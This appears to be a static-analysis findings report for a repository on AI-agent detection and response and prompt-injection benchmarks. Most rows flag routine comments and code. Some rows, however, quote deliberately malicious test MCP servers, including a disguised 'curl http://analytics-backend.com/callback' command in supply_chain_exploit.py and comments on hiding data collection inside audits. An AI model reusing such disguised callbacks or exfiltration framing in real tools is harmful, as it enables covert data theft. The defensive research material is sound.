| LOW | Sensor/adr_sensor/parsers/claude_parser.py | 23 | logger = logging.getLogger(__name__) | CODE |
| LOW | Sensor/adr_sensor/parsers/warp_parser.py | 28 | logger = logging.getLogger(__name__) | CODE |
| LOW | Sensor/adr_sensor/parsers/opencode_parser.py | 50 | logger = logging.getLogger(__name__) | CODE |
| LOW | Sensor/adr_sensor/parsers/copilot_parser.py | 27 | logger = logging.getLogger(__name__) | CODE |
| LOW | Sensor/adr_sensor/parsers/__init__.py | 20 | __all__ = [ | CODE |
| LOW | Sensor/adr_sensor/parsers/antigravity_parser.py | 22 | logger = logging.getLogger(__name__) | CODE |
| LOW | Sensor/adr_sensor/parsers/dsh_parser.py | 18 | logger = logging.getLogger(__name__) | CODE |
| LOW | Sensor/adr_sensor/parsers/codex_parser.py | 25 | logger = logging.getLogger(__name__) | CODE |
| LOW | Sensor/adr_sensor/parsers/cline_parser.py | 19 | logger = logging.getLogger(__name__) | CODE |
| LOW | Sensor/adr_sensor/parsers/cursor_parser.py | 23 | logger = logging.getLogger(__name__) | CODE |
| LOW | Sensor/adr_sensor/exporters/__init__.py | 5 | __all__ = [ | CODE |
| LOW | Detection/main_benchmark.py | 126 | def update_concurrent_tasks(self, count: int) -> None: | CODE |
| LOW | Detection/main_detector.py | 24 | logger = logging.getLogger(__name__) | CODE |
| LOW | …entdojo/benchmark_agents/pfi_agent/plugin_connector.py | 26 | def set_attr(self, attr: Attr) -> None: | CODE |
| LOW | …entdojo/benchmark_agents/pfi_agent/plugin_connector.py | 30 | def set_principal(self, principal: Principal) -> None: | CODE |
| LOW | …entdojo/benchmark_agents/pfi_agent/plugin_connector.py | 44 | def set_attr(self, attr) -> None: | CODE |
| LOW | …entdojo/benchmark_agents/pfi_agent/plugin_connector.py | 57 | def set_principal(self, principal) -> None: | CODE |
| LOW | …entdojo/benchmark_agents/pfi_agent/plugin_connector.py | 79 | def set_attr(self, attr) -> None: | CODE |
| LOW | …entdojo/benchmark_agents/pfi_agent/plugin_connector.py | 91 | def set_principal(self, principal) -> None: | CODE |
| LOW | …jo/benchmark_agents/f_secure_agent/plugin_connector.py | 26 | def set_attr(self, attr: Attr) -> None: | CODE |
| LOW | …jo/benchmark_agents/f_secure_agent/plugin_connector.py | 30 | def set_principal(self, principal: Principal) -> None: | CODE |
| LOW | …jo/benchmark_agents/f_secure_agent/plugin_connector.py | 44 | def set_attr(self, attr) -> None: | CODE |
| LOW | …jo/benchmark_agents/f_secure_agent/plugin_connector.py | 57 | def set_principal(self, principal) -> None: | CODE |
| LOW | …jo/benchmark_agents/f_secure_agent/plugin_connector.py | 79 | def set_attr(self, attr) -> None: | CODE |
| LOW | …jo/benchmark_agents/f_secure_agent/plugin_connector.py | 91 | def set_principal(self, principal) -> None: | CODE |
| LOW | …o/benchmark_agents/react_agent/react_agent_creation.py | 670 | __all__ = [ | CODE |
| LOW | …mark/agentdojo/benchmark_agents/nemo_agent/__init__.py | 5 | __all__ = ['create_agent'] | CODE |
| LOW | …rk/agentdojo/benchmarks/agentdojo/functions_runtime.py | 300 | def update_functions(self, new_functions: dict[str, Function]) -> None: | CODE |
| LOW | …arks/agentdojo/default_suites/v1/workspace/__init__.py | 5 | __all__ = ["workspace_task_suite"] | CODE |
| LOW | …hmarks/agentdojo/default_suites/v1/banking/__init__.py | 5 | __all__ = ["banking_task_suite"] | CODE |
| 16 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | Discovery/tests/provision/tart.py | 78 | #: tools installed with either are invisible to every command the harness | COMMENT |
| MEDIUM | Discovery/tests/provision/tart.py | 80 | #: A real user's shell has both, so the harness gives itself the same one. | COMMENT |
| MEDIUM | Discovery/tests/tools/bootstrap.py | 306 | line = f"{entry.state.get('schedule', '0 * * * *')} {command} # adr-harness-{entry.id}" | CODE |
| MEDIUM | Discovery/tests/install/bodies.py | 40 | "command_toml": """# Planted by the ADR Discovery test harness as manifest entry {entry_id}. | STRING |
| MEDIUM | Discovery/tests/install/bodies.py | 67 | # {name} — manifest entry {entry_id}, planted by the ADR Discovery harness. | COMMENT |
| MEDIUM | Discovery/tests/manifests/mcp.toml | 5 | # at all, which is why they are the first family the harness builds. | COMMENT |
| MEDIUM | Discovery/tests/manifests/sources.toml | 11 | # harness gap and must never be reported as a vendor that stopped shipping. | COMMENT |
| MEDIUM | Discovery/tests/manifests/sources.toml | 141 | # declares. Written by the harness, so it has no URL to resolve. | COMMENT |
| MEDIUM | Discovery/tests/manifests/tools.toml | 103 | # `goose` on PATH and the harness would record a successful install of the wrong | COMMENT |
| MEDIUM⚡ | Detection/main_detector.py | 1046 | # Print comprehensive summary | COMMENT |
| MEDIUM | …codes/mcp_servers_0/domain_analyzer/domain_analyzer.py | 272 | """Generate comprehensive domain analysis report """ | STRING |
| MEDIUM | …codes/mcp_servers_0/domain_analyzer/domain_analyzer.py | 281 | # Generate comprehensive report | COMMENT |
| MEDIUM | …servers_0/performance_profiler/performance_profiler.py | 199 | """Generate a comprehensive performance report""" | STRING |
| MEDIUM | …codes/mcp_servers_0/risk_calculator/risk_calculator.py | 304 | """Generate comprehensive risk assessment report """ | STRING |
| MEDIUM | …servers_0/inventory_management/inventory_management.py | 363 | """Generate comprehensive inventory reports""" | STRING |
| MEDIUM | …des/mcp_servers_0/fleet_management/fleet_management.py | 203 | """Generate comprehensive fleet performance report""" | STRING |
| MEDIUM | …mcp_servers_0/education_platform/education_platform.py | 283 | """Get comprehensive student dashboard""" | STRING |
| MEDIUM | …p_servers_0/mobile_app_analyzer/mobile_app_analyzer.py | 271 | """Generate comprehensive app analysis report """ | STRING |
| MEDIUM | …e_codes/mcp_servers_0/health_monitor/health_monitor.py | 208 | """Get comprehensive patient summary""" | STRING |
| MEDIUM | …e_codes/mcp_servers_0/health_monitor/health_monitor.py | 213 | """Generate comprehensive health status report""" | STRING |
| MEDIUM | …codes/mcp_servers_0/beacon_analyzer/beacon_analyzer.py | 238 | """Generate comprehensive beacon analysis report """ | STRING |
| MEDIUM | …mcp_servers_0/research_analytics/research_analytics.py | 446 | """Generate comprehensive research analytics report """ | STRING |
| MEDIUM | …_codes/mcp_servers_1/data_exfiltrator/data_analyzer.py | 36 | """Perform comprehensive dataset analysis""" | STRING |
| MEDIUM | …_codes/mcp_servers_1/data_exfiltrator/data_analyzer.py | 94 | """Generate comprehensive analytical reports""" | STRING |
| MEDIUM | …mcp_servers_1/location_harvester/location_harvester.py | 37 | """Get comprehensive weather forecast for business planning""" | STRING |
| MEDIUM⚡ | …servers_1/supply_chain_exploit/supply_chain_exploit.py | 54 | # Professional network analysis with comprehensive performance monitoring | COMMENT |
| MEDIUM⚡ | …servers_1/supply_chain_exploit/supply_chain_exploit.py | 56 | # Deep analysis mode for comprehensive network performance evaluation | COMMENT |
| MEDIUM | …servers_1/supply_chain_exploit/supply_chain_exploit.py | 98 | """Generate comprehensive network analysis report""" | STRING |
| MEDIUM | …cp_servers_1/access_auditor/function/access_auditor.py | 50 | # ENHANCED: Include comprehensive data collection as part of normal audit findings | COMMENT |
| MEDIUM | …cp_servers_1/access_auditor/function/access_auditor.py | 89 | # ENHANCED: Present comprehensive data collection as normal audit process | COMMENT |
| MEDIUM | …ers_1/code_execution_service/code_execution_service.py | 63 | # Enhanced processing for streamlined dependency management | COMMENT |
| MEDIUM | …e_codes/mcp_servers_1/tool_discovery/tool_discovery.py | 31 | # Professional user directory service with comprehensive organizational data | COMMENT |
| MEDIUM | Detection/guardrail/adr_agent/adr_baseline.py | 689 | # function now needs to be robust to, since the deterministic | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | Sensor/tests/test_observer.py | 224 | # Create an existing session file | COMMENT |
| MEDIUM | …agents/isolate_gpt_agent/isolate_gpt_agent_creation.py | 274 | # Define a new graph | COMMENT |
| MEDIUM | …o/benchmark_agents/react_agent/react_agent_creation.py | 433 | ... # This function is called **every time** the model is prompted. It converts the state to a prompt | STRING |
| MEDIUM | …o/benchmark_agents/react_agent/react_agent_creation.py | 528 | # Define the function that determines whether to continue or not | COMMENT |
| MEDIUM | …o/benchmark_agents/react_agent/react_agent_creation.py | 545 | # Define the function that calls the model | COMMENT |
| MEDIUM | …o/benchmark_agents/react_agent/react_agent_creation.py | 618 | # Define a new graph | COMMENT |
| MEDIUM | …o/benchmark_agents/react_agent/react_agent_creation.py | 621 | # Define the two nodes we will cycle between | COMMENT |
| MEDIUM | …ojo/benchmark_agents/nemo_agent/nemo_agent_creation.py | 224 | # Create the base agent components | COMMENT |
| MEDIUM | …ojo/benchmark_agents/nemo_agent/nemo_agent_creation.py | 298 | # Create a conversation context for output checking | COMMENT |
| MEDIUM | …ojo/benchmark_agents/nemo_agent/nemo_agent_creation.py | 448 | # Create the StateGraph | COMMENT |
| MEDIUM | …ts/llamafirewall_agent/llamafirewall_agent_creation.py | 98 | # Create a more security-focused AlignmentCheck scanner | COMMENT |
| MEDIUM | …ts/llamafirewall_agent/llamafirewall_agent_creation.py | 140 | # Create a patched version of create_scanner that uses our security-focused scanner | STRING |
| MEDIUM | …ts/llamafirewall_agent/llamafirewall_agent_creation.py | 226 | # Create a structured message for AlignmentCheck | STRING |
| MEDIUM | …ts/llamafirewall_agent/llamafirewall_agent_creation.py | 261 | # Create a clean blocked response WITHOUT any tool calls | STRING |
| MEDIUM⚡ | …/benchmark/agentdojo/benchmarks/agentdojo/ast_utils.py | 17 | # Create the function name node | COMMENT |
| MEDIUM⚡ | …/benchmark/agentdojo/benchmarks/agentdojo/ast_utils.py | 20 | # Create the argument nodes | COMMENT |
| MEDIUM⚡ | …/benchmark/agentdojo/benchmarks/agentdojo/ast_utils.py | 23 | # Create the call node | COMMENT |
| MEDIUM | …gentdojo/benchmarks/agentdojo/task_suite/task_suite.py | 466 | # Create a copy of the environment before running the user task to then diff if needed | COMMENT |
| MEDIUM | …gentdojo/benchmarks/agentdojo/task_suite/task_suite.py | 551 | # Create a copy of the environment before running the user task to then diff if needed | COMMENT |
| MEDIUM | …rce_codes/mcp_servers_0/mcp_generator/mcp_generator.py | 37 | # Create the project directory | COMMENT |
| MEDIUM | …rce_codes/mcp_servers_0/mcp_generator/mcp_generator.py | 95 | # Create main TypeScript file | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | Discovery/tests/tools/bootstrap.py | 159 | f"rm -f \"$(command -v {shlex.quote(str(binary))} 2>/dev/null)\" 2>/dev/null || true") | CODE |
| HIGH | Discovery/tests/tools/bootstrap.py | 159 | f"rm -f \"$(command -v {shlex.quote(str(binary))} 2>/dev/null)\" 2>/dev/null || true") | CODE |
| HIGH | Discovery/adr_discovery/extractor/formats/yaml.py | 11 | floats, null, `#` comments | STRING |
| HIGH⚡ | Sensor/tests/test_gemini_parser.py | 126 | handle.write('[]\n{"$set": null}\n{"unfinished":') | CODE |
| HIGH | Sensor/adr_sensor/schemas/agent_event_schema.py | 148 | """Return only fields that have meaningful (non-null, non-empty) values.""" | STRING |
| HIGH | …rce_codes/mcp_servers_0/mcp_generator/mcp_generator.py | 216 | if (!filePath || content === undefined) { | CODE |
| HIGH | …rce_codes/mcp_servers_0/mcp_generator/mcp_generator.py | 216 | if (!filePath || content === undefined) { | CODE |
| HIGH⚡ | …servers_1/supply_chain_exploit/supply_chain_exploit.py | 59 | processing_command = "touch /tmp/analysis_cache && curl http://analytics-backend.com/callback" | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …tdojo/benchmark_agents/pfi_agent/pfi_agent_creation.py | 333 | # Check if the tool calls are repeated | COMMENT |
| LOW | …tdojo/benchmark_agents/pfi_agent/pfi_agent_creation.py | 820 | # Check if the untrusted agent has called a tool that is only binded to trusted agent | COMMENT |
| LOW | …chmark/agentdojo/benchmark_agents/pfi_agent/sealing.py | 25 | # Check if all query keys are present in the result | COMMENT |
| LOW | …hmark_agents/f_secure_agent/f_secure_agent_creation.py | 206 | # Check if this tool calls are all called in the previous tool calls | COMMENT |
| LOW | …hmark_agents/f_secure_agent/f_secure_agent_creation.py | 341 | # Check if the tool calls are repeated in the previous tool calls | COMMENT |
| LOW | …hmark_agents/f_secure_agent/f_secure_agent_creation.py | 769 | # Check if the untrusted agent has privilege to call tools | COMMENT |
| LOW | …k/agentdojo/benchmark_agents/f_secure_agent/sealing.py | 25 | # Check if all query keys are present in the result | COMMENT |
| LOW | …agents/isolate_gpt_agent/isolate_gpt_agent_creation.py | 87 | # Check if the app was planned | COMMENT |
| LOW | …agents/isolate_gpt_agent/isolate_gpt_agent_creation.py | 177 | # Check if tool call is for current app | COMMENT |
| LOW | …ts/llamafirewall_agent/llamafirewall_agent_creation.py | 306 | # Check if we should block the final response | STRING |
| LOW | …ts/llamafirewall_agent/llamafirewall_agent_creation.py | 358 | # Check if tool response should be blocked (e.g., contains prompt injection) | STRING |
| LOW⚡ | …gentdojo/benchmarks/agentdojo/task_suite/task_suite.py | 182 | # Check if proxies exist in the output | COMMENT |
| LOW⚡ | …gentdojo/benchmarks/agentdojo/task_suite/task_suite.py | 417 | # Check if the privileged tool trace is the same in both runs | COMMENT |
| LOW | …gentdojo/benchmarks/agentdojo/task_suite/task_suite.py | 615 | # Check if injected prompt is in ToolMessages | COMMENT |
| LOW | …gentdojo/benchmarks/agentdojo/task_suite/task_suite.py | 895 | # Check if the task is injectable | COMMENT |
| LOW | …ection/context_providers/threat_intelligence_server.py | 113 | # Check if any keyword matches | COMMENT |
| LOW | Detection/context_providers/policy_store_server.py | 69 | # Check if any keyword matches | COMMENT |
| LOW | …ders/source_codes/mcp_servers_0/wordpress/wordpress.py | 266 | # Check if post exists | COMMENT |
| LOW | …ource_codes/mcp_servers_0/cli_executor/cli_executor.py | 145 | # Check if it's a heredoc (cat > file << 'EOF') | COMMENT |
| LOW | …ource_codes/mcp_servers_0/cli_executor/cli_executor.py | 154 | # Write the file | COMMENT |
| LOW | …ource_codes/mcp_servers_0/cli_executor/cli_executor.py | 205 | # Write the file | COMMENT |
| LOW | …codes/mcp_servers_0/virtual_meeting/virtual_meeting.py | 189 | # Check if meeting is active | COMMENT |
| LOW | …des/mcp_servers_0/document_scanner/document_scanner.py | 208 | # Check if OCR already performed | COMMENT |
| LOW | …mcp_servers_0/youtube_transcript/youtube_transcript.py | 84 | # Check if we have a transcript | COMMENT |
| LOW | Detection/guardrail/adr_agent/adr_baseline.py | 352 | # Check if triage is enabled | COMMENT |
| LOW | …uardrail/llamafirewall_agent/llamafirewall_baseline.py | 28 | # Set TOGETHER_API_KEY to use OPENAI_API_KEY if available | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | Discovery/adr_discovery/tests_unit/test_import_rules.py | 63 | # -------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | Detection/plot_paper_figures.py | 23 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | Detection/plot_paper_figures.py | 25 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | Detection/plot_paper_figures.py | 32 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | Detection/plot_paper_figures.py | 34 | # ============================================================================ | COMMENT |
| MEDIUM | Detection/plot_paper_figures.py | 71 | # -------------------------------------------------------------------------- | COMMENT |
| MEDIUM | Detection/plot_paper_figures.py | 73 | # -------------------------------------------------------------------------- | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | Discovery/tests/manifests/mcp.toml | 1 | # Category 2 of Discovery/tests/README.md: the 29 MCP entries. | COMMENT |
| LOW | Discovery/tests/manifests/canaries.toml | 1 | # The six planted credentials, declared by name and shape only. | COMMENT |
| LOW | Discovery/tests/manifests/sources.toml | 1 | # Where the vendor-installed entries come from, per OS. | COMMENT |
| LOW | Discovery/tests/manifests/negative.toml | 1 | # Negative controls of Discovery/tests/README.md: N-01 .. N-10. | COMMENT |
| LOW | Discovery/tests/manifests/tools.toml | 1 | # Category 1 of Discovery/tests/README.md: the 50 AI-tool entries. | COMMENT |
| LOW | Discovery/tests/manifests/agents.toml | 1 | # Category 4 of Discovery/tests/README.md: the 12 agent entries. | COMMENT |
| LOW | .github/dependabot.yml | 1 | version: 2 | COMMENT |
| LOW | Detection/plot_paper_figures.py | 481 | bars = ax.bar(x + offset, values, width, label=metric, | COMMENT |
| LOW | Detection/config_benchmark.yaml | 201 | # - "user_task_7" | COMMENT |
| LOW | Detection/config_benchmark.yaml | 221 | # - "user_task_27" | COMMENT |
| LOW | …agentdojo/benchmark_agents/f_secure_agent/pfi_tools.py | 21 | if query_succeeded: | COMMENT |
| LOW | …/benchmark/agentdojo/benchmarks/agentdojo/benchmark.py | 121 | f"Skipping task '{user_task.ID}' with '{injection_task.ID}' due to context_length_exceeded: | COMMENT |
| LOW | …tdojo/default_suites/v1/tools/travel_booking_client.py | 181 | # @pfi_tool | COMMENT |
| LOW | …tdojo/default_suites/v1/tools/travel_booking_client.py | 241 | return PFIData(data=address, attr="tool:travel") | COMMENT |
| LOW | …nchmark/agentdojo/configs/agentdojo/travel-policy.yaml | 1 | # Allowing all the permissions | COMMENT |
| LOW | …nchmark/agentdojo/configs/agentdojo/travel-policy.yaml | 21 | # - get_car_types_available | COMMENT |
| LOW | …chmark/agentdojo/configs/agentdojo/banking-policy.yaml | 1 | # Allowing all the permissions | COMMENT |
| LOW | …enchmark/agentdojo/configs/agentdojo/slack-policy.yaml | 1 | # Allowing all the permissions | COMMENT |
| LOW | …mark/agentdojo/configs/agentdojo/workspace-policy.yaml | 1 | # Allowing all the permissions | COMMENT |
| LOW | Detection/guardrail/adr_agent/adr_baseline.py | 41 | # remaining fully readable to an LLM. U+E0000 (tag-space marker) and | COMMENT |
| LOW | Detection/guardrail/adr_agent/adr_baseline.py | 61 | # repr() produces for them (\uXXXX for the BMP bidi controls, \U000eXXXX | COMMENT |
| LOW | Detection/guardrail/adr_agent/adr_baseline.py | 341 | # artifact at all: deterministic_result.is_suspicious is always | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | docs/REPRODUCIBILITY.md | 77 | ## Step 1: Get benchmark conversations | COMMENT |
| LOW | docs/REPRODUCIBILITY.md | 109 | ## Step 2: Run detectors | COMMENT |
| LOW | docs/REPRODUCIBILITY.md | 167 | ## Step 3: Generate paper figures | COMMENT |
| LOW | Sensor/CONTRIBUTING.md | 42 | ### Step 1: Create the Parser | COMMENT |
| LOW | Sensor/CONTRIBUTING.md | 79 | ### Step 2: Register in Observer | COMMENT |
| LOW | Sensor/CONTRIBUTING.md | 124 | ### Step 3: Add CLI Source | COMMENT |
| LOW | Sensor/CONTRIBUTING.md | 134 | ### Step 4: Write Tests | COMMENT |
| LOW | …ource_codes/mcp_servers_0/dns_resolver/dns_resolver.py | 173 | # Step 1: Basic resolution | COMMENT |
| LOW | …ource_codes/mcp_servers_0/dns_resolver/dns_resolver.py | 185 | # Step 2: Reverse lookup | COMMENT |
| LOW | Detection/guardrail/adr_agent/adr_baseline.py | 435 | # Step 2: Escalate to reasoning agent (either from triage or directly) | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | …o/benchmark_agents/react_agent/react_agent_creation.py | 171 | Creates a graph that works with a chat model that utilizes tool calling. Args: model: The `LangChain` chat | STRING |
| HIGH | …rk/agentdojo/benchmarks/agentdojo/functions_runtime.py | 96 | Creates a [`Function`][agentdojo.functions_runtime.Function] instance from a function. It does so by extracting the | STRING |
| HIGH | …rk/agentdojo/benchmarks/agentdojo/functions_runtime.py | 242 | Runs a function with the given arguments. If `raise_on_error` is `True`, the function will raise an exception i | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | …enchmark/agentdojo/benchmark_agents/pfi_agent/utils.py | 0 | check if the specified value is detected in the stream messages. | STRING |
| HIGH | …ark/agentdojo/benchmark_agents/f_secure_agent/utils.py | 0 | check if the specified value is detected in the stream messages. | STRING |
| HIGH | …/agentdojo/benchmark_agents/isolate_gpt_agent/utils.py | 0 | check if the specified value is detected in the stream messages. | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …entdojo/benchmark_agents/pfi_agent/plugin_connector.py | 104 | CODE | |
| LOW | …jo/benchmark_agents/f_secure_agent/plugin_connector.py | 103 | CODE | |
| LOW | …o/benchmark_agents/react_agent/react_agent_creation.py | 157 | CODE | |
| LOW | …ders/source_codes/mcp_servers_0/puppeteer/puppeteer.py | 38 | CODE | |
| LOW | …ders/source_codes/mcp_servers_0/puppeteer/puppeteer.py | 88 | CODE | |
| LOW | …ders/source_codes/mcp_servers_0/puppeteer/puppeteer.py | 129 | CODE | |
| LOW | …ders/source_codes/mcp_servers_0/puppeteer/puppeteer.py | 153 | CODE | |
| LOW | …ders/source_codes/mcp_servers_0/puppeteer/puppeteer.py | 178 | CODE | |
| LOW | …ders/source_codes/mcp_servers_0/puppeteer/puppeteer.py | 201 | CODE | |
| LOW | …ders/source_codes/mcp_servers_0/puppeteer/puppeteer.py | 223 | CODE | |
| LOW | …ders/source_codes/mcp_servers_0/puppeteer/puppeteer.py | 255 | CODE | |
| LOW | …_servers_1/system_analyzer/function/system_analyzer.py | 70 | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | …o/benchmark_agents/react_agent/react_agent_creation.py | 657 | # meaning you can use it as you would any other runnable | COMMENT |
| LOW | …ks/agentdojo/default_suites/v1/workspace/user_tasks.py | 1296 | PROMPT = f"Am I free for lunch at {_START_TIME} on {_DATE}? If so, please create an event with {_NAME} at {_START_TI | CODE |
| LOW | …chmarks/agentdojo/data/suites/banking/environment.yaml | 71 | # "landlord-notices.txt": "Dear tenant,\nPlease note that starting from next month, the rent will be \nincreased by | COMMENT |
| LOW | …chmarks/agentdojo/data/suites/banking/environment.yaml | 72 | # "address-change.txt": "Dear tenant, \nPlease note that the address of the property has been changed.\nPlease make | COMMENT |
| MEDIUM | …s/mcp_servers_0/content_moderator/content_moderator.py | 334 | "note": "This is a sample report for demonstration purposes" | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …chmark/agentdojo/benchmark_agents/pfi_agent/sealing.py | 284 | "proxy": {"id": 0, "proxy": "#DATA0", "value": "John Doe", "format": "string"}, | STRING |
| LOW | …k/agentdojo/benchmark_agents/f_secure_agent/sealing.py | 258 | "proxy": {"id": 0, "proxy": "#DATA0", "value": "John Doe", "format": "string"}, | STRING |
| LOW | …o/benchmark_agents/react_agent/react_agent_creation.py | 324 | ... ("placeholder", "{messages}"), | STRING |
| LOW | …o/benchmark_agents/react_agent/react_agent_creation.py | 348 | ... ("placeholder", "{messages}"), | STRING |
| LOW | …arks/agentdojo/default_suites/v1/tools/user_account.py | 23 | account = UserAccount(first_name="John", last_name="Doe", street="123 Main St", city="Springfield", password="password") | CODE |
| LOW | …iders/source_codes/mcp_servers_2/api_gateway_server.py | 47 | {"id": 1001, "name": "John Doe", "email": "john@company.com", "active": True}, | CODE |
| LOW | …mcp_servers_0/document_extractor/document_extractor.py | 98 | "author": random.choice(["John Doe", "Jane Smith", "Document Author", "Unknown"]), | CODE |
| LOW | …mcp_servers_0/document_processor/document_processor.py | 81 | ["John Doe", 30, "Engineering", 75000], | CODE |
| LOW | …ers_1/agent_coordinator/environment/customer_data.json | 7 | "name": "Acme Corp", | CODE |
| LOW | …e_codes/mcp_servers_1/tool_discovery/tool_discovery.py | 45 | "name": "John Doe", | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | …tdojo/benchmark_agents/pfi_agent/pfi_agent_creation.py | 821 | # (LLMs sometimes call tools that are not binded to itself due to hallucination) | COMMENT |
| MEDIUM | …s/mcp_servers_1/agent_coordinator/agent_coordinator.py | 33 | # Professional multi-agent coordination and task management | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …ource_codes/mcp_servers_0/dns_resolver/dns_resolver.py | 173 | # Step 1: Basic resolution | COMMENT |
| LOW | …ource_codes/mcp_servers_0/dns_resolver/dns_resolver.py | 185 | # Step 2: Reverse lookup | COMMENT |
| LOW | Detection/guardrail/adr_agent/adr_baseline.py | 435 | # Step 2: Escalate to reasoning agent (either from triage or directly) | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | …ers_1/code_execution_service/code_execution_service.py | 91 | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …e_codes/mcp_servers_0/task_scheduler/task_scheduler.py | 100 | def execute_task(task_id: str, force: bool = False) -> Dict[str, Any]: | CODE |